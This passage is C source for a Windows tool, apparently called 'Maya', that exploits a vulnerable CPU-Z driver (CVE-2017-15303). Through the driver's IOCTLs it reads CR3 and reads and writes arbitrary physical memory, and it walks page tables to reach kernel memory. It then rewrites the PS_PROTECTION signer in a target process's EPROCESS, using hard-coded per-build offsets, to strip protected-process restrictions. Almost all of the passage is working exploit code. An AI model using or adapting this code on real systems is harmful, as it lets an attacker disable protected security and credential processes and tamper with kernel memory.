1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | 18 | #pragma once 19 | 20 | //number of buckets in the object directory 21 | #define NUMBEROFBUCKETS 0x25 22 | 23 | BOOL ObGetDirectoryObjectAddress( 24 | _In_opt_ LPWSTR lpDirectory, 25 | _Inout_ PULONG_PTR lpRootAddress, 26 | _Inout_opt_ PUSHORT lpTypeIndex); 27 | 28 | PVOID ObQueryObject( 29 | _In_ LPWSTR lpDirectory, 30 | _In_ LPWSTR lpObjectName); 31 | -------------------------------------------------------------------------------- /src/Maya/pagewalk.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: PAGEWALK.C 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Function to translate virtual to physical addresses, x86-64. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #include "global.h" 21 | 22 | #define PHY_ADDRESS_MASK 0x000ffffffffff000ull 23 | #define PHY_ADDRESS_MASK_2MB_PAGES 0x000fffffffe00000ull 24 | #define VADDR_ADDRESS_MASK_2MB_PAGES 0x00000000001fffffull 25 | #define VADDR_ADDRESS_MASK_4KB_PAGES 0x0000000000000fffull 26 | #define ENTRY_PRESENT_BIT 1 27 | #define ENTRY_PAGE_SIZE_BIT 0x0000000000000080ull 28 | 29 | int cpuz_readphyqword(unsigned long long addr, unsigned long long *value) 30 | { 31 | return cpuz_readPhysicalMemory(addr, value, sizeof(unsigned long long)); 32 | } 33 | 34 | int EntryToPhyAddr(unsigned long long entry, unsigned long long *phyaddr) 35 | { 36 | if (entry & ENTRY_PRESENT_BIT) { 37 | *phyaddr = entry & PHY_ADDRESS_MASK; 38 | return 1; 39 | } 40 | 41 | return 0; 42 | } 43 | 44 | int VirtualToPhysical(unsigned long long vaddr, unsigned long long *phyaddr) 45 | { 46 | unsigned long long reg_cr3, selector, table, entry; 47 | int r, shift; 48 | 49 | if (cpuz_readcrX(3, ®_cr3) == 0) 50 | return 0; 51 | 52 | table = reg_cr3 & PHY_ADDRESS_MASK; 53 | 54 | for (r = 0; r < 4; r++) { 55 | 56 | shift = 39 - (r * 9); 57 | selector = (vaddr >> shift) & 0x1ff; 58 | 59 | if (cpuz_readphyqword(table + selector * 8, &entry) == 0) 60 | return 0; 61 | 62 | if (EntryToPhyAddr(entry, &table) == 0) 63 | return 0; 64 | 65 | if ((r == 2) && ((entry & ENTRY_PAGE_SIZE_BIT) != 0)) { 66 | table &= PHY_ADDRESS_MASK_2MB_PAGES; 67 | table += vaddr & VADDR_ADDRESS_MASK_2MB_PAGES; 68 | *phyaddr = table; 69 | return 1; 70 | } 71 | } 72 | 73 | table += vaddr & VADDR_ADDRESS_MASK_4KB_PAGES; 74 | *phyaddr = table; 75 | 76 | return 1; 77 | } 78 | -------------------------------------------------------------------------------- /src/Maya/pagewalk.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: PAGEWALK.H 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Page table translation prototypes. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #pragma once 21 | 22 | int VirtualToPhysical( 23 | unsigned long long vaddr, 24 | unsigned long long *phyaddr); 25 | -------------------------------------------------------------------------------- /src/Maya/ps.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: PS.C 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Processes related routines. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #include "global.h" 21 | 22 | /* 23 | * ControlProcess 24 | * 25 | * Purpose: 26 | * 27 | * Modify process object to remove PsProtectedProcess access restrictions. 28 | * 29 | */ 30 | BOOL ControlProcess( 31 | _In_ ULONG_PTR ProcessId) 32 | { 33 | BOOL bResult = FALSE; 34 | ULONG i, Buffer; 35 | NTSTATUS status; 36 | ULONG_PTR CurrentProcessId = (ULONG_PTR)NtCurrentTeb()->ClientId.UniqueProcess; 37 | ULONG_PTR ProcessObject = 0, VirtualAddress = 0, Offset = 0; 38 | HANDLE hProcess = NULL; 39 | PSYSTEM_HANDLE_INFORMATION_EX pHandles; 40 | 41 | WCHAR szMsg[MAX_PATH * 2]; 42 | 43 | CLIENT_ID clientId; 44 | OBJECT_ATTRIBUTES obja; 45 | 46 | PS_PROTECTION *PsProtection; 47 | 48 | InitializeObjectAttributes(&obja, NULL, 0, 0, 0); 49 | 50 | clientId.UniqueProcess = (HANDLE)ProcessId; 51 | clientId.UniqueThread = NULL; 52 | 53 | status = NtOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, 54 | &obja, &clientId); 55 | 56 | if (NT_SUCCESS(status)) { 57 | 58 | _strcpy(szMsg, TEXT("\r\n[+] Process with PID=")); 59 | u64tostr(ProcessId, _strend(szMsg)); 60 | _strcat(szMsg, TEXT(" opened (PROCESS_QUERY_LIMITED_INFORMATION)")); 61 | supPrintText(szMsg); 62 | 63 | pHandles = (PSYSTEM_HANDLE_INFORMATION_EX)supGetSystemInfo(SystemExtendedHandleInformation); 64 | if (pHandles) { 65 | 66 | _strcpy(szMsg, TEXT("\r\n[+] Handle dump created, number of handles = ")); 67 | u64tostr(pHandles->NumberOfHandles, _strend(szMsg)); 68 | supPrintText(szMsg); 69 | 70 | for (i = 0; i < pHandles->NumberOfHandles; i++) { 71 | if (pHandles->Handles[i].UniqueProcessId == CurrentProcessId) { 72 | if (pHandles->Handles[i].HandleValue == (ULONG_PTR)hProcess) { 73 | ProcessObject = (ULONG_PTR)pHandles->Handles[i].Object; 74 | break; 75 | } 76 | } 77 | } 78 | 79 | supHeapFree(pHandles); 80 | } 81 | else { 82 | supPrintText(TEXT("\r\n[!] Cannot locate process object")); 83 | } 84 | 85 | if (ProcessObject != 0) { 86 | 87 | _strcpy(szMsg, TEXT("\r\n[+] Process object (EPROCESS) found, 0x")); 88 | u64tohex(ProcessObject, _strend(szMsg)); 89 | supPrintText(szMsg); 90 | 91 | switch (g_NtBuildNumber) { 92 | case 9600: 93 | Offset = PsProtectionOffset_9600; 94 | break; 95 | case 10240: 96 | Offset = PsProtectionOffset_10240; 97 | break; 98 | case 10586: 99 | Offset = PsProtectionOffset_10586; 100 | break; 101 | case 14393: 102 | Offset = PsProtectionOffset_14393; 103 | break; 104 | case 15063: 105 | Offset = PsProtectionOffset_15063; 106 | break; 107 | case 16299: 108 | Offset = PsProtectionOffset_16299; 109 | break; 110 | default: 111 | Offset = 0; 112 | break; 113 | } 114 | 115 | if (Offset == 0) { 116 | supPrintText(TEXT("\r\n[!] Unsupported WinNT version")); 117 | } 118 | else { 119 | 120 | VirtualAddress = EPROCESS_TO_PROTECTION(ProcessObject, Offset); 121 | 122 | _strcpy(szMsg, TEXT("\r\n[+] EPROCESS->PS_PROTECTION, 0x")); 123 | u64tohex(VirtualAddress, _strend(szMsg)); 124 | supPrintText(szMsg); 125 | 126 | Buffer = 0; 127 | if (cpuz_readVirtualMemory(VirtualAddress, &Buffer, sizeof(ULONG))) { 128 | 129 | PsProtection = (PS_PROTECTION*)&Buffer; 130 | 131 | _strcpy(szMsg, TEXT("\r\n[+] Kernel memory read succeeded\r\n\tPsProtection->Type: ")); 132 | ultostr(PsProtection->Type, _strend(szMsg)); 133 | 134 | switch (PsProtection->Type) { 135 | 136 | case PsProtectedTypeNone: 137 | _strcat(szMsg, TEXT(" (PsProtectedTypeNone)")); 138 | break; 139 | case PsProtectedTypeProtectedLight: 140 | _strcat(szMsg, TEXT(" (PsProtectedTypeProtectedLight)")); 141 | break; 142 | case PsProtectedTypeProtected: 143 | _strcat(szMsg, TEXT(" (PsProtectedTypeProtected)")); 144 | break; 145 | default: 146 | _strcat(szMsg, TEXT(" (Unknown Type)")); 147 | break; 148 | } 149 | 150 | _strcat(szMsg, TEXT("\r\n\tPsProtection->Audit: ")); 151 | ultostr(PsProtection->Audit, _strend(szMsg)); 152 | 153 | _strcat(szMsg, TEXT("\r\n\tPsProtection->Signer: ")); 154 | ultostr(PsProtection->Signer, _strend(szMsg)); 155 | 156 | switch (PsProtection->Signer) { 157 | case PsProtectedSignerNone: 158 | _strcat(szMsg, TEXT(" (PsProtectedSignerNone)")); 159 | break; 160 | case PsProtectedSignerAuthenticode: 161 | _strcat(szMsg, TEXT(" (PsProtectedSignerAuthenticode)")); 162 | break; 163 | case PsProtectedSignerCodeGen: 164 | _strcat(szMsg, TEXT(" (PsProtectedSignerCodeGen)")); 165 | break; 166 | case PsProtectedSignerAntimalware: 167 | _strcat(szMsg, TEXT(" (PsProtectedSignerAntimalware)")); 168 | break; 169 | case PsProtectedSignerLsa: 170 | _strcat(szMsg, TEXT(" (PsProtectedSignerLsa)")); 171 | break; 172 | case PsProtectedSignerWindows: 173 | _strcat(szMsg, TEXT(" (PsProtectedSignerWindows)")); 174 | break; 175 | case PsProtectedSignerWinTcb: 176 | _strcat(szMsg, TEXT(" (PsProtectedSignerWinTcb)")); 177 | break; 178 | case PsProtectedSignerWinSystem: 179 | _strcat(szMsg, TEXT(" (PsProtectedSignerWinSystem)")); 180 | break; 181 | case PsProtectedSignerApp: 182 | _strcat(szMsg, TEXT(" (PsProtectedSignerApp)")); 183 | break; 184 | default: 185 | _strcat(szMsg, TEXT(" (Unknown Value)")); 186 | break; 187 | } 188 | 189 | supPrintText(szMsg); 190 | 191 | // 192 | // It will still look as "protected" process 193 | // 194 | PsProtection->Signer = PsProtectedSignerNone; 195 | 196 | bResult = cpuz_WriteVirtualMemory(VirtualAddress, &Buffer, sizeof(ULONG)); 197 | if (bResult) { 198 | supPrintText(TEXT("\r\n[+] Process object modified")); 199 | } 200 | else { 201 | supPrintText(TEXT("\r\n[!] Cannot modify process object")); 202 | } 203 | } 204 | else { 205 | supPrintText(TEXT("\r\n[!] Cannot read kernel memory")); 206 | } 207 | } 208 | } 209 | else { 210 | supPrintText(TEXT("\r\n[!] Cannot query process object")); 211 | } 212 | NtClose(hProcess); 213 | } 214 | else { 215 | supPrintText(TEXT("\r\n[!] Cannot open target process")); 216 | } 217 | 218 | return bResult; 219 | } 220 | -------------------------------------------------------------------------------- /src/Maya/ps.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: PS.H 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Processes support prototypes and definitions. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #pragma once 21 | 22 | #define PsProtectionOffset_9600 (ULONG_PTR)0x67A 23 | #define PsProtectionOffset_10240 (ULONG_PTR)0x6AA 24 | #define PsProtectionOffset_10586 (ULONG_PTR)0x6B2 25 | #define PsProtectionOffset_14393 (ULONG_PTR)0x6C2 26 | #define PsProtectionOffset_15063 (ULONG_PTR)0x6CA 27 | #define PsProtectionOffset_16299 (ULONG_PTR)0x6CA 28 | 29 | #define EPROCESS_TO_PROTECTION(Object, PsProtectionOffset) ((ULONG_PTR)Object + (ULONG_PTR)PsProtectionOffset) 30 | 31 | BOOL ControlProcess( 32 | _In_ ULONG_PTR ProcessId); 33 | -------------------------------------------------------------------------------- /src/Maya/readwrt.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: READWRT.C 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Handlers for CPU-Z IOCTL requests. 12 | * CVE-2017-15303 13 | * https://www.cvedetails.com/cve/CVE-2017-15303/ 14 | * 15 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 16 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 17 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 18 | * PARTICULAR PURPOSE. 19 | * 20 | *******************************************************************************/ 21 | 22 | #include "global.h" 23 | 24 | /* 25 | * cpuz_readcrX 26 | * 27 | * Purpose: 28 | * 29 | * Read CR register (CR0, CR2, CR3). 30 | * 31 | */ 32 | BOOL cpuz_readcrX( 33 | _In_ ULONG Index, 34 | _Out_ PDWORD_PTR Value) 35 | { 36 | DWORD bytesIO = 0, crIndex = Index; 37 | DWORD_PTR readValue = 0; 38 | 39 | DWORD LastError; 40 | 41 | *Value = 0; 42 | 43 | if (Index == 4) //cr4 not supported 44 | return FALSE; 45 | 46 | if (DeviceIoControl(g_hDevice, IOCTL_CPUZ_READ_CRX_REGISTER, 47 | &crIndex, sizeof(crIndex), 48 | &readValue, sizeof(readValue), 49 | &bytesIO, NULL)) 50 | { 51 | if (bytesIO == sizeof(readValue)) { 52 | *Value = readValue; 53 | return TRUE; 54 | } 55 | else { 56 | supPrintText(TEXT("\r\n DeviceIoControl(IOCTL_CPUZ_READ_CRX_REGISTER) return bogus data\r\n")); 57 | } 58 | } 59 | else { 60 | LastError = GetLastError(); 61 | supPrintText(TEXT("\r\n DeviceIoControl(IOCTL_CPUZ_READ_CRX_REGISTER) failed\r\n")); 62 | supShowError(LastError, TEXT("GetLastError=")); 63 | } 64 | return FALSE; 65 | } 66 | 67 | /* 68 | * cpuz_readPhysicalMemory 69 | * 70 | * Purpose: 71 | * 72 | * Read physical memory (MmMapIoSpace). 73 | * 74 | */ 75 | BOOL cpuz_readPhysicalMemory( 76 | _In_ DWORD_PTR PhysicalAddress, 77 | _In_ PVOID Buffer, 78 | _In_ DWORD BufferLength) 79 | { 80 | BOOL bResult; 81 | DWORD bytesIO = 0; 82 | READ_ADDRESS readAddress; 83 | OUT_DATA outData; 84 | 85 | DWORD LastError; 86 | 87 | readAddress.InputAddress.HighPart = HIDWORD(PhysicalAddress); 88 | readAddress.InputAddress.LowPart = LODWORD(PhysicalAddress); 89 | readAddress.OutputBufferLength = BufferLength; 90 | readAddress.OutputBuffer.HighPart = HIDWORD(Buffer); 91 | readAddress.OutputBuffer.LowPart = LODWORD(Buffer); 92 | 93 | outData.OperationCode = 0; //0x11111111 0x22222222 94 | outData.BufferLowPart = 0; 95 | 96 | bResult = DeviceIoControl(g_hDevice, IOCTL_CPUZ_READ_PHYSICAL_MEMORY, 97 | (LPVOID)&readAddress, sizeof(READ_ADDRESS), 98 | (LPVOID)&outData, sizeof(OUT_DATA), 99 | &bytesIO, NULL); 100 | 101 | if (!bResult) { 102 | LastError = GetLastError(); 103 | supPrintText(TEXT("\r\nDeviceIoControl(IOCTL_CPUZ_READ_PHYSICAL_MEMORY) failed\r\n")); 104 | supShowError(LastError, TEXT("GetLastError=")); 105 | } 106 | 107 | return bResult; 108 | } 109 | 110 | /* 111 | * cpuz_readVirtualMemory 112 | * 113 | * Purpose: 114 | * 115 | * Translate virtual address to physical and read data from it. 116 | * 117 | */ 118 | BOOL cpuz_readVirtualMemory( 119 | _In_ DWORD_PTR VirtualAddress, 120 | _In_ PVOID Buffer, 121 | _In_ DWORD BufferLength) 122 | { 123 | DWORD_PTR phys = 0; 124 | 125 | if (VirtualToPhysical(VirtualAddress, &phys) != 0) { 126 | return cpuz_readPhysicalMemory(phys, Buffer, BufferLength); 127 | } 128 | return FALSE; 129 | } 130 | 131 | /* 132 | * cpuz_writePhysicalMemory 133 | * 134 | * Purpose: 135 | * 136 | * Write physical memory (MmMapIoSpace). 137 | * Input buffer length must be aligned to ULONG 138 | * 139 | */ 140 | BOOL cpuz_writePhysicalMemory( 141 | _In_ DWORD_PTR PhysicalAddress, 142 | _In_ PDWORD Buffer, 143 | _In_ DWORD BufferLength) 144 | { 145 | BOOL bResult = FALSE; 146 | DWORD bytesIO = 0, LastError; 147 | WRITE_ADDRESS_ULONG writeAddress; 148 | OUT_DATA outData; 149 | 150 | ULONG i; 151 | 152 | if ((BufferLength % 4) != 0) 153 | return FALSE; 154 | 155 | for (i = 0; i < (BufferLength / 4); i++) { 156 | 157 | writeAddress.Address.HighPart = HIDWORD(PhysicalAddress + 4 * i); 158 | writeAddress.Address.LowPart = LODWORD(PhysicalAddress + 4 * i); 159 | writeAddress.Value = Buffer[i]; 160 | 161 | outData.OperationCode = 0; //0x11111111 0x22222222 162 | outData.BufferLowPart = 0; 163 | 164 | bResult = DeviceIoControl(g_hDevice, IOCTL_CPUZ_WRITE_PHYSICAL_MEMORY, 165 | &writeAddress, sizeof(WRITE_ADDRESS_ULONG), 166 | &outData, sizeof(OUT_DATA), 167 | &bytesIO, NULL); 168 | 169 | if (!bResult) { 170 | LastError = GetLastError(); 171 | supPrintText(TEXT("\r\nDeviceIoControl(IOCTL_CPUZ_WRITE_PHYSICAL_MEMORY) failed\r\n")); 172 | supShowError(LastError, TEXT("GetLastError=")); 173 | break; 174 | } 175 | } 176 | return bResult; 177 | } 178 | 179 | /* 180 | * cpuz_WriteVirtualMemory 181 | * 182 | * Purpose: 183 | * 184 | * Translate virtual address to physical and write data to it. 185 | * 186 | */ 187 | BOOL cpuz_WriteVirtualMemory( 188 | _In_ DWORD_PTR VirtualAddress, 189 | _In_ PVOID Buffer, 190 | _In_ DWORD BufferLength) 191 | { 192 | DWORD_PTR phys = 0; 193 | 194 | if (VirtualToPhysical(VirtualAddress, &phys) != 0) { 195 | return cpuz_writePhysicalMemory(phys, Buffer, BufferLength); 196 | } 197 | return FALSE; 198 | } 199 | -------------------------------------------------------------------------------- /src/Maya/readwrt.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: READWRT.H 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Prototypes and definitions for CPU-Z IOCTL requests. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #pragma once 21 | 22 | #define CPUZDRV L"cpuz141" 23 | 24 | #define LODWORD(x) ((DWORD)((DWORDLONG)(x))) 25 | #define HIDWORD(x) ((DWORD)(((DWORDLONG)(x) >> 32) & 0xffffffff)) 26 | 27 | #define CPUZ_DEVICE_TYPE (DWORD)40000 28 | 29 | #define CPUZ_READ_PHYSMEMORY_FUNCTION (DWORD)2312 30 | #define CPUZ_READ_CRX_FUNCTION (DWORD)2314 31 | #define CPUZ_WRITE_PHYSMEMORY_FUNCTION (DWORD)2316 32 | 33 | #define IOCTL_CPUZ_READ_CRX_REGISTER CTL_CODE(CPUZ_DEVICE_TYPE, CPUZ_READ_CRX_FUNCTION, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428 34 | #define IOCTL_CPUZ_READ_PHYSICAL_MEMORY CTL_CODE(CPUZ_DEVICE_TYPE, CPUZ_READ_PHYSMEMORY_FUNCTION, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402420 35 | #define IOCTL_CPUZ_WRITE_PHYSICAL_MEMORY CTL_CODE(CPUZ_DEVICE_TYPE, CPUZ_WRITE_PHYSMEMORY_FUNCTION, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402430 36 | 37 | #define CTL_CODE_TO_VALUES(ControlCode, DeviceType, Access, Function, Method ) (\ 38 | DeviceType = ((DWORD)ControlCode & 0xffff0000) >> 16,\ 39 | Access = ((DWORD)ControlCode & 0x0000c000) >> 14, \ 40 | Function = ((DWORD)ControlCode & 0x00003ffc) >> 2,\ 41 | Method = ((DWORD)ControlCode & 0x00000003)\ 42 | ) 43 | 44 | typedef struct _READ_ADDRESS { 45 | 46 | struct { 47 | ULONG HighPart; 48 | ULONG LowPart; 49 | } InputAddress; 50 | 51 | ULONG OutputBufferLength; 52 | 53 | struct { 54 | ULONG HighPart; 55 | ULONG LowPart; 56 | } OutputBuffer; 57 | 58 | } READ_ADDRESS, *PREAD_ADDRESS; 59 | 60 | typedef struct _WRITE_ADDRESS_ULONG { 61 | 62 | struct { 63 | ULONG HighPart; 64 | ULONG LowPart; 65 | } Address; 66 | 67 | ULONG Value; 68 | 69 | } WRITE_ADDRESS_ULONG, *PWRITE_ADDRESS_ULONG; 70 | 71 | typedef struct _OUT_DATA { 72 | ULONG OperationCode; 73 | ULONG BufferLowPart; 74 | } OUT_DATA, *POUT_DATA; 75 | 76 | BOOL cpuz_readcrX( 77 | _In_ ULONG Index, 78 | _Out_ PDWORD_PTR Value); 79 | 80 | BOOL cpuz_readPhysicalMemory( 81 | _In_ DWORD_PTR PhysicalAddress, 82 | _In_ PVOID Buffer, 83 | _In_ DWORD BufferLength); 84 | 85 | BOOL cpuz_readVirtualMemory( 86 | _In_ DWORD_PTR VirtualAddress, 87 | _In_ PVOID Buffer, 88 | _In_ DWORD BufferLength); 89 | 90 | BOOL cpuz_writePhysicalMemory( 91 | _In_ DWORD_PTR PhysicalAddress, 92 | _In_ PDWORD Buffer, 93 | _In_ DWORD BufferLength); 94 | 95 | BOOL cpuz_WriteVirtualMemory( 96 | _In_ DWORD_PTR VirtualAddress, 97 | _In_ PVOID Buffer, 98 | _In_ DWORD BufferLength); 99 | -------------------------------------------------------------------------------- /src/Maya/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by Resource.rc 4 | 5 | // Next default values for new objects 6 | // 7 | #ifdef APSTUDIO_INVOKED 8 | #ifndef APSTUDIO_READONLY_SYMBOLS 9 | #define _APS_NEXT_RESOURCE_VALUE 101 10 | #define _APS_NEXT_COMMAND_VALUE 40001 11 | #define _APS_NEXT_CONTROL_VALUE 1001 12 | #define _APS_NEXT_SYMED_VALUE 101 13 | #endif 14 | #endif 15 | -------------------------------------------------------------------------------- /src/Maya/sup.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: SUP.C 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Misc support routines. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #include "global.h" 21 | 22 | /* 23 | * supPrintText 24 | * 25 | * Purpose: 26 | * 27 | * Output text to the console. 28 | * 29 | */ 30 | VOID supPrintText( 31 | _In_ LPWSTR lpText 32 | ) 33 | { 34 | SIZE_T consoleIO; 35 | DWORD bytesIO; 36 | 37 | consoleIO = _strlen(lpText); 38 | WriteConsoleW(GetStdHandle(STD_OUTPUT_HANDLE), lpText, (DWORD)consoleIO, &bytesIO, NULL); 39 | } 40 | 41 | /* 42 | * supShowError 43 | * 44 | * Purpose: 45 | * 46 | * Output last error to the console. 47 | * 48 | */ 49 | VOID supShowError( 50 | _In_ DWORD LastError, 51 | _In_ LPWSTR Msg 52 | ) 53 | { 54 | LPWSTR lpMsgBuf = NULL; 55 | DWORD bytesIO; 56 | WCHAR *OutBuf; 57 | SIZE_T OutBufLen; 58 | 59 | if (FormatMessage( 60 | FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, 61 | NULL, LastError, 62 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), 63 | (LPWSTR)&lpMsgBuf, 0, NULL)) 64 | { 65 | OutBufLen = (20 + _strlen(lpMsgBuf) + _strlen(Msg)); 66 | OutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OutBufLen * sizeof(WCHAR)); 67 | if (OutBuf) { 68 | _strcpy(OutBuf, TEXT("\n\r[!] ")); 69 | _strcat(OutBuf, Msg); 70 | _strcat(OutBuf, TEXT(": ")); 71 | _strcat(OutBuf, lpMsgBuf); 72 | _strcat(OutBuf, TEXT("\r\n")); 73 | WriteConsoleW(GetStdHandle(STD_OUTPUT_HANDLE), OutBuf, (DWORD)OutBufLen, &bytesIO, NULL); 74 | } 75 | LocalFree(lpMsgBuf); 76 | } 77 | } 78 | 79 | /* 80 | * supWriteBufferToFile 81 | * 82 | * Purpose: 83 | * 84 | * Create new file and write buffer to it. 85 | * 86 | */ 87 | BOOL supWriteBufferToFile( 88 | _In_ LPWSTR lpFileName, 89 | _In_ PVOID Buffer, 90 | _In_ DWORD BufferSize 91 | ) 92 | { 93 | HANDLE hFile; 94 | DWORD bytesIO = 0; 95 | 96 | if ((Buffer == NULL) || (BufferSize == 0)) 97 | return FALSE; 98 | 99 | hFile = CreateFile(lpFileName, 100 | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); 101 | 102 | if (hFile != INVALID_HANDLE_VALUE) { 103 | WriteFile(hFile, Buffer, BufferSize, &bytesIO, NULL); 104 | CloseHandle(hFile); 105 | } 106 | else { 107 | return FALSE; 108 | } 109 | 110 | return (bytesIO == BufferSize); 111 | } 112 | 113 | /* 114 | * supHeapAlloc 115 | * 116 | * Purpose: 117 | * 118 | * Wrapper for RtlAllocateHeap with WinObjEx heap. 119 | * 120 | */ 121 | PVOID FORCEINLINE supHeapAlloc( 122 | _In_ SIZE_T Size) 123 | { 124 | return RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Size); 125 | } 126 | 127 | /* 128 | * supHeapFree 129 | * 130 | * Purpose: 131 | * 132 | * Wrapper for RtlFreeHeap with WinObjEx heap. 133 | * 134 | */ 135 | BOOL FORCEINLINE supHeapFree( 136 | _In_ PVOID Memory) 137 | { 138 | return RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Memory); 139 | } 140 | 141 | /* 142 | * supGetSystemInfo 143 | * 144 | * Purpose: 145 | * 146 | * Return buffer with system information by given InfoClass. 147 | * 148 | * Returned buffer must be freed with supHeapFree after usage. 149 | * Function will return error after 20 attempts. 150 | * 151 | */ 152 | PVOID supGetSystemInfo( 153 | _In_ SYSTEM_INFORMATION_CLASS InfoClass 154 | ) 155 | { 156 | INT c = 0; 157 | PVOID Buffer = NULL; 158 | ULONG Size = PAGE_SIZE; 159 | NTSTATUS status; 160 | ULONG memIO; 161 | 162 | do { 163 | 164 | Buffer = supHeapAlloc((SIZE_T)Size); 165 | if (Buffer != NULL) { 166 | status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO); 167 | } 168 | else { 169 | return NULL; 170 | } 171 | if (status == STATUS_INFO_LENGTH_MISMATCH) { 172 | supHeapFree(Buffer); 173 | Buffer = NULL; 174 | Size *= 2; 175 | c++; 176 | if (c > 20) { 177 | status = STATUS_SECRET_TOO_LONG; 178 | break; 179 | } 180 | } 181 | } while (status == STATUS_INFO_LENGTH_MISMATCH); 182 | 183 | if (NT_SUCCESS(status)) { 184 | return Buffer; 185 | } 186 | 187 | if (Buffer) { 188 | supHeapFree(Buffer); 189 | } 190 | return NULL; 191 | } 192 | 193 | /* 194 | * supGetNtOsBase 195 | * 196 | * Purpose: 197 | * 198 | * Return ntoskrnl base address. 199 | * 200 | */ 201 | ULONG_PTR supGetNtOsBase( 202 | VOID 203 | ) 204 | { 205 | PRTL_PROCESS_MODULES miSpace; 206 | ULONG_PTR NtOsBase = 0; 207 | 208 | miSpace = supGetSystemInfo(SystemModuleInformation); 209 | if (miSpace != NULL) { 210 | NtOsBase = (ULONG_PTR)miSpace->Modules[0].ImageBase; 211 | supHeapFree(miSpace); 212 | } 213 | return NtOsBase; 214 | } 215 | 216 | 